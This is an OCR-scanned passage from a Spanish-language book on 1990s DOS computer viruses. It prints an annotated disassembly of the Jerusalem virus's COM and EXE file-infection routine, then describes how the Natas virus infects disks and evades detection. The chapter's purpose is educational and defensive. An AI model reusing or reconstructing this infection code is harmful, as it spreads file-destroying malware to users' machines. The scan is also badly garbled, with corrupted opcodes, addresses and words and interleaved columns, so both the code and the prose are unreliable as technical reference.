MDV DL,[OIJ 
ANO OL,IF 
MOV AH,36 
INT 21 
CMP AX,FFFF Venfica si la unidad de discos estáltsta. 
JNZ 0470 
JMP 06E7 Unidad de disco errOnea. 
MUL BX 
MUL ex 
DA OX,OX 
JNZ 0470 
CMP AX,0710 Verifica si existe espacio en disco para 
JB 0460 el virus. 
es: 
MOV OX,[OOBOJ 
PUSH os 
POP ES 
XOR AL,Al 
MOV CX,0041 
REPNZ 
SCASB 
es: 
MOV S1,[0080J Obttene el nombre del programa que se 
MOV AL,[SIJ va a ejecutar. 
DA AL,AL 
JZ 04A4 
CMP AL,6t 
JB 04At 
CMP Al,7A 
JA 04At 
SUB BYTE PTR [SIJ,20 
SI 
JMP 0490 
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OFB2 050F BEDB MOV OS,AX 
OFB2 04A4 B90BOO MOV CX,OOOB OFB2 0511 BECO MOV ES,AX 
OF82 04A7 28f1 SUB S1,CX OF82 0513 843f MOV AH,3f 
OFB2 04A9 GFB400 MOV 01,00B4 Of82 0515 C021 INT 21 Lee los pnmeros 5 caracteres 
Of8204Ae DE PUSH es OF82:0517 B8FA MOV OI,OX 
Of82 04A0 07 POP ES CF82.0519 8E0500 MOV SI,0005 
OF82 04AE B90800 MOV CX,0008 OFB2 051C f3 REPZ Venfrca sr es un programa • COM ya 
OFB2.0481 f3 REPZ Verifica que no sea el COMMANO COM CFB2.0510A6 CMPSB rnfecrado. 
Of82 04B2 A6 CMPS8 Of82 051 E 7507 JNZ 0527 
Of82 0483 7503 JNZ 048B OF82.0520 843E MOV AH,3E 
Of82.0485 E92f02 JMP 06E7 OF82 0522 coz·, INT 21 
Of82 048B 880043 MOV AX,4300 OFB2 0524 E9C001 JMP 06E7 
Of82:0488 C021 INT 21 lee los atnbutos del programa que se va OF82 0527 BB2435 MOV AX,3524 
OFB2 04BO 7205 · JB 04C4 a e¡ecutar OF82 052A eo21 INT 21 
OFB2 048F 2E es: Of82.052C 891E1 800 MOV [001 8J,8X 
Of82 04CO B90E7200 MOV [0072J,CX OF82 0530 8C061 000 MOV [001 OJ,ES Modrhca el mane¡ador de errores 
OFB2 04C4 7225 JB 04E8 OFB2 0534 8A 1 B02 MOV OX,021B eritreos_ 
OFB2:04C6 32CO XOR AL,AL OFB2 0537 882425 MOV AX,2524 
OFB2:04CB 2E es: OFB2.053A C021 INT 21 
Of82 04C9 A24EOO MOV [004EJ,AL OF82 053e C5168000 LOS OX,[OOBOJ 
OFB2 04ee 1 E PUSH os OFB2 0540 33C9 XOR CX,CX 
OFB2 04CO 07 POP ES OFB2"0542 880143 MOV AX,4301 
OFB2 04CE 88FA MOV OI,OX OFB20545 C021 INT 21 Prepara el programa para modrfrcarlo. 
OFB2 04 00 B941 00 MOV CX,0041 OFB2 0547 7238 JB 0584 
OFB2.0403 F2 REPNZ OFB2 0549 2E CS. 
OFB2 0404 AE SCASB OFB2 054A B8 1 E7000 MOV BX,[0070J 
OFB2.0405 B070FE40 CMP BYTE PTR [01-02[.40 Sr la extensron del programa OFB2 054E B43E MOV AH,3E 
OFB2 0409 740B JZ 04E6 termina en 'm'o 'M', infecta una OFB2:0550 C021 INT 21 
OFB2 040B B070FE60 CMP BYTE PTR [01-02J,60 sola vez. OFB2 0552 2E CS: 
OFB2:040f 7405 JZ 04E6 OFB2.0553 C7067000FFFF MOV WORO PTR [0070[,Ffff 
OFB2 04E1 2E es· OFB2 0559 B80230 MOV AX,3002 
OFB2 04E2 FE064EOO INC BYTE PTR J004E[ OFB2.055C C021 INT 21 Abre el archrvo para escnbtr. 
OFB2 04E6 BB0030 MOV AX,3000 OF82 055E 7224 JB 0584 
OFB2.04E9 C021 INT 21 OFB2.0560 2E es: 
OFB2 04EB 725A JB 0547 OFB2"0561 A37000 MOV J0070J,AX 
OFB2 04ED 2E es: OFB2·0564 BCCB MOV AX,CS 
OFB2 04EE A37000 MOV [0070J,AX OFB2 0566 BEOB MOV OS,AX 
OFB2:04f1 BBOB MOV BX,AX OFB2 056B BECO MOV ES,AX 
OFB2 04F3 BB0242 MOV AX,4202 OFB2"056A BB1E7000 MOV BX,[0070J 
OFB2.04F6 B9FFFF MOV CX,FFFF OFB2:056E BB0057 MOV AX,5700 Obtiene la fecha en que fue hecho el 
OFB2:04F9 BAFBFF MOV OX,fffB OFB2 0571 C021 INT 21 programa a mfectar 
OFB2 04FC C021 INT 21 Busca el comienzo del programa_ OFB2 0573 B9167400 MOV [0074J,OX 
OFB2 04FE 72EB J8 04EB OFB2.0577 B90E7600 MOV [0076J,CX 
OFB2 0500 050500 AOO AX,0005 OFB2 0578 BB0042 MOV AX,4200 
OFB2.0503 2E es: OFB2 057E 33C9 XOR CX,CX 
OFB2 0504 A31100 MOV [0011 J,AX OFB2 0580 8B01 MOV OX,CX 
OFB2 0507 B90500 MOV CX,0005 OFB2 05B2 C021 INT 21 Se posrciona al prmcipro del archrvo 
OFB2 050A BA6800 MOV OX,006B OFB2 05B4 7230 JB 05C3 
OFB2 0500 BCC8 MOV AX,CS 

-' \ 

l ' 
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OFB2 0586 803E4EOOOO 
OFB2.058B 7403 
OFB2 0580 EB57 

CMP 
JZ 
JMP 

............................. 
• Infección en programas COM • ............................. 
OFB2.058F 90 
OFB2.0590 BBOO 10 
OFB2:0593 8446 
OFB2 0595 CD21 
OFB2 0597 7308 
OFB2:0599 B43E 
OFB2:059B 6B1E7000 
OFB2·059F CD21 
OFB2:05A 1 E94301 
OFB2 05A4 Ff066FOO 
OFB2.05AB BECO 
OFB2·05AA 33f6 
OFB2:05AC BBFE 
OFB2.05AE 891007 
OFB2.0581 f3 
OFB2·0582 A4 
OFB2:0583 6807 
OFB2·0585 BBOE11 00 
OFB20589 681E7000 
OFB2 0580 06 PUSH 
OFB205BE 1f 
OFB2:05Bf 843f 
Of82.05C1 CD21 
Of82.05C3 721C 
OFB2·05C5 03F9 
OFB2:05C7 33C9' 
OFB2.05C9 6801 
OFB2·05CB 860042 
OFB2:05CE CD21 
OFB2:05DO BE0500 
Of82:05D3 890500 
OFB2:0506 f3 
OFB2 0507 2E 
Of82.05D6 A4 
OFB2·0509 BBCF 
OFB2 0508 3302 
OFB2 0500 8440 
OFB2:05DF CD21 
OFB2.05E 1 7200 

t<OP 
Mi) V 
MOV 
INT 
JNB 
MOV 
MOV 
INT 
JMP 
INC 
MOV 
XOR 
MOV 
MOV 
REPZ 
MOVSB 
MOV 
MOV 
MOV 
ES 
POP 
MOV 
INT 
JB 
ADD 
XOR 
MOV 
MOV 
INT 
MOV 
MOV 
REPZ 
es: 
MOVSB 
MOV 
XOR 
MOV 
INT 
JB 

BYTE PTR [004EJ,OO 
0590 Contamma un • .COM. 
05E6 Contamina un • .EXE. 

BX, 1000 Pide 64 kB de memoria para formar un 
AH,46 area de trabajo. 
21 
05A4 
AH,3E 
BX,[0070) 
21 
06E7 
WORD PTR [OOBF) 
ES,AX 
SI,SI 
OI,SI 
CX,0710 

DX,DI 
CX,[0011) 
BX,[0070) 

os 
AH,3F 
21 
05E1 
OI,CX 
CX,CX 
OX,CX 
AX,4200 
21 
S1,0005 
CX,0005 

CX,OI 
OX,OX 
AH,40 
21 
05FO 

Copia al virus a el área de trabajo. 

Lee el programa a contammar y lo 
escribe después del vnus en el área de 
trabajo. 

Se posiciona al principio del arch1vo. 

Cop1a los datos del punto de inicJO del 
programa 

Escnbe el programa ya infectado. 

OFB2 05E3 E9BCOO JMP 

............................ 
• lnlecctón en programas EXE • . .......................... . 
OFB2 05E6 B91COO 
OFB2 05E9 BA4 FOO 
Of82 05EC B43f 
OFB2 OSEE C021 
OFB2·05FO 724A 
OFB2 05f2 C70661008419 
Of82 05F8 A 15000 
OFB2.05FB A34500 
OFB2 05FE A 15FOO 
OFB2 0601 A34300 
OFB2:0604 A 16300 
OFB2 0607 A34 700 
Of82 060A A 16500 
OFB2:0600 A34900 
OFB2:061 O A t 5300 
OFB2:0613 833E51 0000 
OFB20618 7401 
Of82:061A 46 
OFB2 061 B f7267800 
OFB2 061 f 030651 00 
OFB2 0623 83 0200 
OFB2:0626 050FOO 
OFB2:0629 830200 
OFB2 062C 25FOFF 
OFB2·062f A37COO 
OFB2.0632 89167EOO 
Of82 0636 051007 
OFB2·0639 830200 
OFB2.063C 723A 
OFB2.063E f7367800 
OFB2:0642 0802 
OFB2:0644 7401 
OFB2 0646 40 
OFB2 064 7 A35300 
OFB2 064A 89165100 
Of82 064E A 17COO 
OFB2 0651 68167EOO 
OFB2 0655 f7367AOO 
Of82.0659 28065700 
OFB2 0650 A36500 
OFB2 0660 C7066300C500 

MOV 
MOV 
MOV 
INT 
JB 
MOV 
MOV 
MOV 
MOV 
MOV 
MOV 
MOV 
MOV 
MOV 
MOV 
CMP 
JZ 
DEC 
MUL 
ADO 
AOC 
ADD 
AOC 
ANO 
MOV 
MOV 
AOO 
AOC 
JB 
OIV 
OR 
JZ 
INC 
MOV 
MOV 
MOV 
MOV 
OIV 
SUB 
MOV 
MOV 

5. 1 VIrus In rectores del sector de arranque 

06A2 

CX,001C 
DX,004F 
AH,3F 

: 127 

21 Lee las tablas de inicialización del 
063C programa. 
WORD PTR [0061),1984 
AX,[005D) 
[0045J,AX 
AX,[005f) 
[0043J,AX 
AX,[0063) 
[0047J,AX 
AX,[0065) 
[0049J,AX 
AX,[0053) 
WORO PTR [0051),+00 
0618 
AX 
WORD PTR [0076) 
AX,[0051) 
DX,+OO 
AX,OOOF 
OX,+OO 
AX,FFFO Calcula la nueva long1tud del 
[007CJ,AX programa+virus. 
[007EJ,OX 
AX,0710 
OX,+OO 
0678 
WORO PTR [0078) 
DX,OX 
0647 
AX 
[0053J,AX 
[0051).DX 
AX,)OOIC) 
DX,[OOIE) 
WORD PTR )007A) 
AX,[0057) 
[0065J,AX 
WORO PTR [0063),00C5 
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OFB2.0666 A35DOO MOV [0050[ ¡\X 
OFB2 0669 C7065F001 007 MOV WORD PTR [005FJ,071 O 
OFB2 066F 33C9 XOR CX,CX 
OFB2 0671 8601 MOV DX,CX 
Of82.06 73 880042 MOV AX,4200 Se posiciona al comienzo del arch1vo 
OF82 0676 CD21 INT 21 
OF82 0678 720A J8 0684 
OF82"067A 891COO MOV CX,001C 
OFB2 0670 8A4FOO MOV DX,004F 
OFB2 0680 84 4 O MOV AH,4J 
Of82.0682 CD21 INT 21 Coloca la nueva tabla de micializacu~n 
OFB2 0684 7211 J8 0697 para el programa 
OF82 0686 3BC 1 CMP AX,CX 
OF82 0688 7518 JNZ 06A2 
OF82.068A 8B167COO MOV DX,[007C] 
OFB2 068E 880E7EOO MOV CX,[007E] 
OF82.0692 680042 MOV AX,4200 Se posiciOna al !mal del archivo 
OFB2 0695 CD21 INT 21 
OF82 0697 7209 J8 06A2 
OF82 0699 3302 XOR DX,DX 
OFB2.0698 891007 MOV CX,0710 
OF82 069E 8440 MOV AH,40 
OF82 06AO CD21 INT 21 Agrega el virus al programa 

.................... 
OF82:06A2 2E es· 
OF82 06A3 833E8FOOOO CMP WORD PTR [OOBFJ,•OO 
OFB206A8 7404 JZ 06AE 
OF8206AA 6449 MOV AH,49 Libera la mtmoria que se haya reservado 
OFB2:06AC e021 INT 21 como área de trabajo 
OF82.06AE 2E es 
OFB2:06AF 833E7000FF CMP WORD PTR [0070],-01 
OF82:06B4 7431 JZ 06E7 
OFB2·0686 2E es 
OF82 0667 881E7000 MOV 8X,[0070] 
OFB2 0688 2E CS. 
OF82 06BC 86167400 MOV DX,[0074] 
OF8206CO 2E CS: 
OF82·06C1 8BOE7600 MOV CX.[0076J 
OF82 06C5 880157 MOV AX,5701 Pone la fecha original del programa 
OFB2 06C8 C021 INT 21 
OF82.06CA B43E MOV AH,3E Cterra el arch1vo 
OF82 06CC e021 INT 21 
OFB2 06eE 2E es 
OF82 06CF C5168000 LOS DX,[OOBO] 
OFB2 0603 2E es 
OF82 0604 8BOE7200 MOV eX,[0072] 
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OF82.06D8 680143 MOV AX,4301 Restablece los atributos del archivo. 
OF82.06D8 C021 INT 21 
OF82 0600 2E CS. 
Of82:06DE C5161800 LOS DX,[0018) 

Restablece la rutma de manejo de 
errores 

OF82:06E2 682425 MOV AX,2524 
OF82 06E5 e021 INT 21 
Of82.06E7 07 POP ES 
OF82 06E8 1 F POP os 
OF82 06E9 SF POP DI 
OF82 06EA SE POP SI 
OF82 06EB SA POP DX 
Of82 06Ee 59 POP ex 
OFB2:06ED 56 POP BX 
OF82 06EE 58 POP AX 
OFB2:06Ef 90 ·PaPF 
OFB2.06FO 2E es· 
Of82:06f 1 Ff2E1700 JMP FAR [0017) EJeCuta la mterrupcl!ln origmal. 

•••••••••••••••••••••• o ••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Long11ud del programa 1 808 by1es 
Pos1ción en memo na: Depende de la ejecución del programa. 
Espacio para vanables: 145 by1es inclu1dos en los 1 808 de longitud 
Observa::1ones· Este virus ya ha s1do modifiCadO en muchas ocasiones y es ddíc1l saber Qué dai1os son capus 
de realizar otras versiones. Por otro lado, este virus puede mfectar una red del t1po local ············································································· 

Conclusión 
El virus de Jcmsaféll est.l. tan b1cn disefiado que cuenta con 
numerosas protecciOnes para ev 1tar ser borrad o o sob reescri­
to en la memoria. Utiliza las protecciones que proporciona el 
sistema operativo DOS par;¡ ponerse <l s;¡Jvo en 1<1 pd;¡, y cre<1 
áreas de memoria de trab;¡jo que ev1tan que sea "tocado" por 
otros J11tos. · 

Obviamente es un virus d<liiino y peligroso porque destru­
ye los progn11n,1s que se ejecuten en la fecha programada 
par<~ su activ<lción, que es cualquier viernes 13 -después de 
1987-; por eso, es conveniente tener siempre los originnlcs de 
todos los pro);ramas que se utiliet .. •n en un lugar seguro y pro­
tegidos contr,l cscritur;¡, y c;¡d<l vez que se d.¿ 1<1 neccsid<ui de 
instalarlos, ve1ific.u que la computador<' c~té libre de virus 
<1ctivos en la illL'Illnria. 

El problem.l grave que se puede presentar con un<1 infec­
ción de este virus es que si se infecl<l un prngr<11na que tenga 
protecciones contra copiado, es posible que no se pueda \'OI­

ver" instalar porque algunos de estos programas lil'llen res-
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\ 
tricciones en cu<1nto a J¡¡s veces gue pueden ser JnstaiJdos en 
discos fijos o flexibles. 

Para estar ~e guros de CJUC no hay virus <~ctivos en la memoria 
de b computadora, se debe apng;u y ''e<ngar" con un SIStema 
oper<1tivo original y protegido contra grJbacJÓn, y s6lo en ese 
momento podemos venficar con un ant1virus los di~cus gue 
supongamos estén contaminados con alglín tipo de \·irus. 

5.1.6 Virus NATAS o SATAN 

Nota: 

\ 
.. 

Este virus, posiblemente originario de México, no se puede 
clasificar entre los infectorcs de St'Ciores de cnr~n, pero tampo­
co podría estar con los mfectort!s d!! archiPos ejecutables. La rt~­
zón es guc es un virus Mullipartita (Multip.utlte), porque 
infecta diferentes partes de los discos, como archivos ejecuta­
bles, controladores de dispositivos (.SYS), sector de Jrranquc 
y tabla de pnrticioncs, Polimorfo (Polymorph!C), que signific<t 
gue emplc<t <tlgoritmos de encripCJón -codificación- par.l h<t­
cer m<Ís compleja su detección, y MutnHfc -aunque no en el 
estricto sentido de In p.:~ labra-, cJracterísLicas que lo convier­
ten 1..'n un virus muy especiJI. 

Alguna vez se d•jo que el v1rus Michelangelo marcaba una época, 
ya que los medios Informativos de todo el mundo, especmllzados 
o no, reconocieron la existencia de los v1rus e mcluso exageraron 
las not1c1as respecto a éste -exageraron acerca de la catástrofe 
que se avec1naba aquel 6 de marzo de 1992. ya que 
pronost1caban que millones de computadoras perderían los datos 

-ahí contenidos-, pero la exageración era sólo respecto a la 
cantidad de computadoras Infectadas, porque los graves daños. 
sí que los realiza. 

El PlrliS NATAS -nsí en mayúsculas- realmente marca el 
principio de una época, por lo menos en México, porque se 
considera que en este <til.o de 199-l tan sólo entre los meses de 
febrero a agosto, ha infect,1do por lo menos .1 una computa­
dora del 95% de las empresas públiGlS y privad.1s. Todos los 
días se sabe de infecciones;¡ causa de este virus en buncos, 
oficinas Je gnbierno, institutos de investigacitmes, escuel.1s 
de todos los niveles y usuarios personales . 

Incluso hay empresas dcdicudds al soporte y asesoría con­
tra ios virus que reconocen haber llft'lltildo las computadoras 
del IFE (Instituto Federt~l Electoral), un<~s semanas antes de 
realiz<trse las tan Solwdas elecc¡ones dt'l camino en Mé>..Jco, 

Figuro 5.21 
Mensaje del BBS 
de McAfee 
Assoclates en 
Sonia Clara, 
California. USA. 
donde se pide 
ayudo o otros 
usuarios cuando 
se ha sufrido 
Infección por 
algún tipo de 
virus 
desconocido. 

\ 
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porque es le ,·irus se habí.1 (O/ado a sus s!stema<:'. Est~l no es t.ln 
raro, y.1 que l,tS computadoras de ohnnus de gob_1ernn o IJ.<:' 
propi<~s empresas de computaci(·Jn, pnri.Jh,11~ el ':1rus ~n sus 
disgueles sin que nathe lo notar;¡, porque huCJa prmnpws del 
ai1o no e\.istí.l un nntivirus que lo reconoCiera; lo~ síntom.1s 
que produce el virus pueden hnherse atnbu1do .1 l..'rrores de 
los equipos o problemas de los prn¡..;ramas. 

Arturo de la t\lora de t\lcAfl'L' Associílk'S ,\lé\.ico, u firma 
que desde 1niciu de 199-l comenLÓ <l rt•cibir en su~ u~·icinas de 
la ciudad de t-.1éxico, entre 300 y 400 Jl,nnudólS dJJrJ,lS repor­
tando infeccionl.'s ele un llllt't'O L'il'l15 -el Notas- L1~ pnrneras 
llamadas de que tuvo noliciil fueron del estndo de Chi<~pJs, y 
dl.' <1hí p.ut1ó hacia el norte y hac1a el centrn de f\1é,ico la epi­
demia. Actualmenlc se s.1be de mfecciuncs en Europa, Sud.l­
ménca v Estados Un1dos, por los boletines in~crt.1dos en la 
red llltc;·ncl y L'n los BBS de f\lcAfee AssnCJates 

IJicuing: OOI'URE.TIC"T ·: Press ESC lo exil · IFH ltér 111 ~ 
. 1 

rtsg[: 5581 .UiNs lnfo• 
Ofr-OJ-'H 20:]5:4'3 . 
Fr'CII: NOODY . . . . . 
Subj: DJT SECTO:R UI!'J.IS · ·_ ·. . . . · 
1 h•ue • aast.c..r lhd hn • probiCR 1, h.lue J'ICI.ICr ht • h.INI drlue_ fi'OIIII l Costeo 

store t-erf:. 1 weel! leuctly) 
t~rter he bought Jt, the drluc cr•shed. In idor-Uing·the _drlue u·v•ue • 
utrning, ''Yftn'!UtG, POSSUILE UIIII.JS DETEtTEDt PfiXEDI Y.lft7". flt ny tdUise he· 
typed in "Y" •n4 proceo!ed. Euerythlng sead. to work perfectly untl.l ex•cllv 
one IIICCk l.tcr. · Hls e: drlue cruhed lthe otter drlue hld been • plv;y Nck D: 
driuel. The w.e thing hlppened. U~n he refGMW.tted, ulth the excr:ption tNt ; 
uben il cue t.o urite tbr: floo\ Sector. infonwllon, il.s.tld ~1 SIClDII UIIDS 
DUECTtD, PIIIXEED Ylrt" .. Uc Nn.CPAV •nd nsAU both on his úchlne •nd. could ~t 
find.RrtY kind.of Ulros'. l'n confused 111 this point 11nd w.1nt lo knou lt there. 
is 1 •~specllll kmd or n:quii"CR~nt lo flnd 11 "!!001 SECJOR" Ulros7 Ple.tse .Iet . .: .. 
knou 1Mnks • · ·.. . .• .. 

~. Andy AHord . .' 
Sterllng_ Co.¡:ate.r Servlcei. 

· . 
. ·.·.-.: 

éom~ods PQJP PGnrt'IO'IE DI:D.t.:'3 súotl J·IHh:K Utloi'MI IS)earch-.' 

Cunndo un.l cnmputadur.l es miecl,llia por t•l 111111:' Nrll_ll:', 

los primeros síntom<ls se manifiestan en 1.1 IJ/i.'IIW/'111 SIIJit'IIOr, 

ya que ;¡¡ infect.lr los a rchi~·o~ ejecu tílbles ~,de ,s~s~em.1 lJUe,se 
incluyen en el CONFIG SYS y en el AU IOI:XI:C BAC co­
micnzu por bloquc,lf l.1s ure,lS de trabíl¡n de W111dn\\'S Ja¡n­
bién se notJ la infl'CCI6n cunnJo e'Jstcn prohlem.1s p.1C·1 
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Figura 5.22 
Aunque el v1rus 
Notas es poco 
conocido en 
otros países. ya 
se puede 
encontrar 
1nformación 
acerca de bt en 
programas 
ontiv!rus 
europeos: la 
pantalla 
corresponde al 
AVP_200, de 
origen RuSo 

Figura 5.23 
Pantalla del Disk 
Editor de Norton 
7.0, donde se 
muestra lo fabla 
de particiones 
de un disco 
duro. Infectada 
con el virus 
NATAS. 

"" <lp 

1 t' s a dangerous ~~ res ldent ~ 1 t 1 p4rt l le r:::ll'liG'lJG 
uirus. lt hooks lriY IJh, Zlh arad writes itselr lnto nBR or 
h.lrd drJve, bool sectors of Cloppy dlsks and o~ot the end of 
011- end f:X[-flles are accessed. lt does not lnfccl the 
f1les .ue opened by Pl!2lf'/PJQK1!1P, Ulll and IIRJ uchJU4tors 

In dc¡.cndlng of lts Interna! cwnters Ur: ulrus forAats . 
dilik sectnrs. lt contalns tbc mternal ~~~ strlngs airo; 

BACIC n:JDD'I 
ft.!.tas 

grab<H o h!er inform.lct6n de los discos. Sus L'fectns ~on nlt·a­
lorws, y en ocasiones se h.m detcctudo Inscnpcinncs en blo­
ques de 6-l bytes en urchivos de d.1tos, ll)S cuak•s nnua comu 
rompecabezas c_.:~da v~z que se ejecuta l.'! códi~o de ¡ kl3 que 
contiene e!arclnvo auftll ión. -
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Los dailLlS qut.! LKJsinna el ,·irus l<~mbit!n son .1lc.1lorios, ya 
que puede m.ln\cnt.!rsc inst.li.Hio en 1.1 menwri<I por J.ngo 
tiempo y no prcsent<Ir sínltHlldS qLH' lo dcl.1tcn; sin cmb.Hgo, 
cuando se d.1n I<Is condicumcs preprogr.1m.:1d.1s en su cúdigo, 
Infecta archi\·os L')ecutt~bles y de sis\cm,l, busdndtllos l'll los 
director](\s cspecificadllS con el comando Pr\Tl-1 L'n el Mchi\'O 
A UTOEXEC BAf -los archi\'t\S de sistenl<I los infect.1 cuando 
tienen estructura de ejccutablL·s-. J\dem.ís, tdcJ\ori.uncnte­
algunos im·estigadorcs han Gl]cul.ldo que un<I \'L'Z de c.1da 
quimentas-, snbreescnbl' la t;1bl.1 de p.HIIcinncs o furm.11c.1 
sectort:'s del di~CO, con lo cual de~tru\'C la inforlll.lCIÓil .1hí 
contenida. ' 

Cu:~ndu se cjeotl.l un progr.ml.l mfect~dn o m d r•im::-. Nntn~, 
o cut~ndn ~e h,1ce la CJrg,l o tnten\l) de c.ll¡;a. ,,,-on un di~tllll.'tl' 
con el código del \-irus en L'l sector inici,ll de c.ug,l, el vnu:. se 
inst.lb t:'ll li1 memnri.1 de la compu!.Jdnril, e infet"l.l cu.mto 
disquett.: ~e llltfl)duzca ,1 la unidad p.uJ gr.Ü'<H n leer d.1tus 
1:m1bién \'.1 infl'ct,lnJo los programas con t.:\.kll~iún COi\1, 
EXE, SYS, OVIC _()VL y ottos con estructur,l de ejccuta.bk•s. 

L,1 mfec~·H.lll con:-.1~k en grah,u un:t parte dL' su <:Ólligo en 
el sectnr de .ut.lnque de los thsquell's o L'll 1.1 illl'/11 ¡/¡• ptu /J(/¡l­

llt'S (;-..1.lsiL'r 13not l~ecord, ~-lB\~), ensegwda gr.:1.b.1 el rt•sto del 
código L'n nueve sectores, .11 final de hlS disquetes, o en los 
últimos nul'\'c sectores eh~ 1.1 loct~f idod física Ci lind 1 o O, LMio O, 
que nu t:'S un.1 dnecciónlógic:t en los discos durns, con lo cuíll 
tiene ;1segurada su extstenci<l, porque nmgun.l información 
se cscribitá sobre el códigll del virus. Los sectotcs lógicos de 
Jos discos duros emplL'Ziln en el Cilindro O, Lado!, Sector 1, 
que corresponde,¡¡ sector lúgico O, y L'S donde est.lubicado el 
progumlll de C111go111icial. 

Análisis técnica 
El vír11s Natas ~e compone de \'ari<IS pJrks que h.1n sido estu­
dtadJS e ideniificadJs plen.m1cnte. 

;.... Cn[Jeza dd IJÍrll~, que se aloja en el sector de 1.1 t,,bl.l de p.H­

tiCiones n en el sector de carga de los discos du1os y ciis­
qut:tes ICSf1L'ClÍ\'.llllL'Illc_ 

,_ Cllt'IJ'O del i.'IJ"IIS, que se lucí!li;.a ocupando nlle\'L' scc\OJL'S, 
al fiiul L'n los disquetes, n.1\ fin.ll del Cdmdro O, Lado O, L'll 
los disnlS dunJS 

;. Vtr/JS co111plt'lo -incluyendo ca/1r¡a y cuapo-, ,ll oj,Hln ,1] fin.1l 
di! In~ .1rchivos ejecuta.bles o de los de sislem.l, que nnies­
tr,lll una es\¡uclur,l ~Imil.lr n los L'Jecut.lblt!s. Estos son los 
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Figura 5.24 
Primer secror do 

·ros nueve en 
donde se aloja 
el cuerpo del 
v/rus Notos. En 
estos nueve 
sectores se 
encuentro er 
virus sin ene ripiar 
-decodificado-. 

Figuro 5.25 
Ultimo sector de 
los nueve donde 
se encuentra er 
código del v/rus 
Natos. Observe 
lo cadena Notos 
casi al finar del 
mismo. 

q_ue se :argan iniclil.lmente ab memoria de !.1 computado­
r.l llletflanfe el <~rchl\'o CONFJG SYS 
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Cuando se realizJ la C11rga de si~tem;t opcrati\'o <'11 !<J compu­
tadora -al momento de CIICCI!dala-, lo primero 4ue se lec del 
disco es el sct-·tor de carsa (Uoot Sector) u !.1 tabla de pnrtiCIOIICS 

. (rvtnsler Boot Record, ~1BR), pJ.ra~t.-lenlifJC<H ellllcdro -tipo de 
disco o disque!l.'- de~de L'i cu<ll se re~hz<1rá \~ cary;a del DOS. 
Si Natas c~tá .:Jhí, lo priml'ro que se inst.:Jia en \;1 memoria de 
la computadora es el virus, su cuerpo o código, y enseguid<1 
el COr\'Hv1t\ND.C0~1 y los progrJmJS o m<1nejadnres de dis­
positivos (Dcvice Dri\'ers) que se encuentren en los archi\'tJS 
CONFIG.SYS y AUTOEXEC.BAT -en ese orden-. 

S1 !<1 comput.Hior<l no está inkctad.:J por el 1!11"115 Natos. 1li el 
disquete de sistemJ -en c<bO de que no exista disco d!J!D-·, b 
infección puede partir de un progr<~ma que sí e~,¡,: i1 dL..::L.ldo, 
en cuyo c<~so, td l'jccut.ll'se pone al \'IniS en 1<~ memori<1 y lo 
priml!ro que h<1CL' es callflllllinar el sector de ari'I1111Jiil' del dis­
quete de sistem.l (lperatiVt) o la tabla de f'rHfi(/01/C:' del disco 

duro. 
El código iniciJI o cabt'Zn del Natas lo incluyen los Jrchivos 

ejecut.1bles en l~l Jlcader, desde donde h.1ce un salto (Jump) 
h.1sl<1 el f!llal dd código del program¡¡, qw.! es donde cnmien­
z.l el ,-irus, después de c.Hg.u~e en J.¡ menwn.l, ejecuta nor­
Jll<llmcnte el progr<Illlil paril que usted no note n<Ida. 

Los Mchivos infcctadl)S crecen en 4 ?.J-1 bytes su lnngttud y 
Nntns les Gllllbltl !.1 ferh.1 .1 100 ailos m<is que la orihinal pt~ra 
detectar cu<Jndo un Jrchivo ha ~ido y<~ cnntznnin<Ido. Reserva 
6 kB en la ml.!nlOri.l para su uso, inlen:.!ptando b interrup­
ción J2h parill.'ll\'i<Ir de regreso, cu.:mdo se le solicita, un vJ­
Ior de ml.'moria disponible ¡gua! ul v.1lnr re<II menos los 6 k B. 
Esto lo proiL'ge de cuJ!quier sobreescrilur<J en su Cl'hli~;o por­
que el DOS nn tom;u.l en cuenta la din~cción de m~mona 
par<~ o1rsar otros progr<~m<Is. 

Si se c<~rga el v¡rus dl.'sdc el sector de aru111quc y no encuen­
tr<I el resto de su cut'rpo, envía un mensa¡e de que no hay SIS­

tem.l. Utiliza t'llcriplauiiCIIfo -cod¡jímclóll- par<~ ocultar su 
código en !J parte final de los Jrd11vos infect<Jdos y técnicas 
Sft'altll, evit<Indu así su fácil detección. El encripl<~miento lo 
re<Jiiz.l apoyándose en l'ltilllcr de la Ctllnput.ldora, pero <1 ni­
vel dl' ulterrupc1Ú11, logr.111do un etldiiic.Jdo dik•rL'lllL' en 
cad.:t c,1so, )'<1 que los v<Jiores de cad.1 tipn de timer v.Jrían con 
i<I comput<JJor.l. 

Desensamblada del virus Natas 
El código dl'l virus msertado en los .1rchivos ejl'cut<~bles se 
di vide técmc.lmente en dos partes· \¡¡ rlll i1111 de de~·upO!Íil o de-

1 

\ 

l 
1 
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Figura 5.26 
Pantalla del 
programa 
ThunderByte 
versión 6.22. 
donde avisa que 
ha encontrado 
al virus Notos en 
la tabla de 
particiones de 
un disco duro. 

cndiflC.tt"h.lll y ~'1 ¡/1¡'1(•' dd •_·nu;; 1 .. 1 nttlll.l de d~._·c 1 q)~.:u'n 1 c~ 
11/1/ !1111/t', L'..; dt•(l r C,llllt-1.1 dL' J¡lJJll,l L'll (,Jd,J oll"dlJ \-¡) ltÚL'¡'J,JdO 

por Jt¡ ljlll' l'~ lllU} dt{¡,·jf dL' dL'Il'Cit1r [l CliL'l po dL•J \'llli.S L'~l.i 
t'IICI:J.'fado, por ltl •.JUL· :._.,·ul\,ll.tmhi..:·n lllliY complicztda ~u de­
ICCCllm. 

Est.t p.lrllCtd;u id.td ,;,.] <'1111~ /\)¡¡fas h.t tlbllg.ldt) ,1 Jo~ {;1hn­
cantes dl' p1 l 1g¡ .tm.t~ .1 ;t 11' 1 rus .1 i ncl 111 r L'll ellos ru t in<1s dL' ¡/1•­

SCIISIIIJ/bfndo de los d,ttos l]lll-' St' L'IKlll'lllr;-¡n L'll dekrmin:1d.l'..; 
localid.ldL's de lllt'llWn,t, \' t'tl sc.:torcs n archivos dL'l d 1 -;n~ 
~demás l.llriÍst¡ucd!l o rn~t;co de virus (ScJn) se rL'aliz.l J {1 • 1 ; 1 í~­
f1Cnllll'llfe; es dl'cir, util1z~ndn .1lgontmos cspeci,1 1cs que de­
termlll.Hl st un .nchl\'o mcluye en su cód1gl1 mstruccinncs 
~u e gl'lll'l'.ll m en te us,1n lus t•i1 us 1 r¡f(I/11/IÍ/ICOS, como ;-~ccesos ,1 
arcJ~ ~w!Jgrus.ls de lo::. dtscos, llam.1dn::. .1 intenupt"Ítlilt'~ d 1·J 
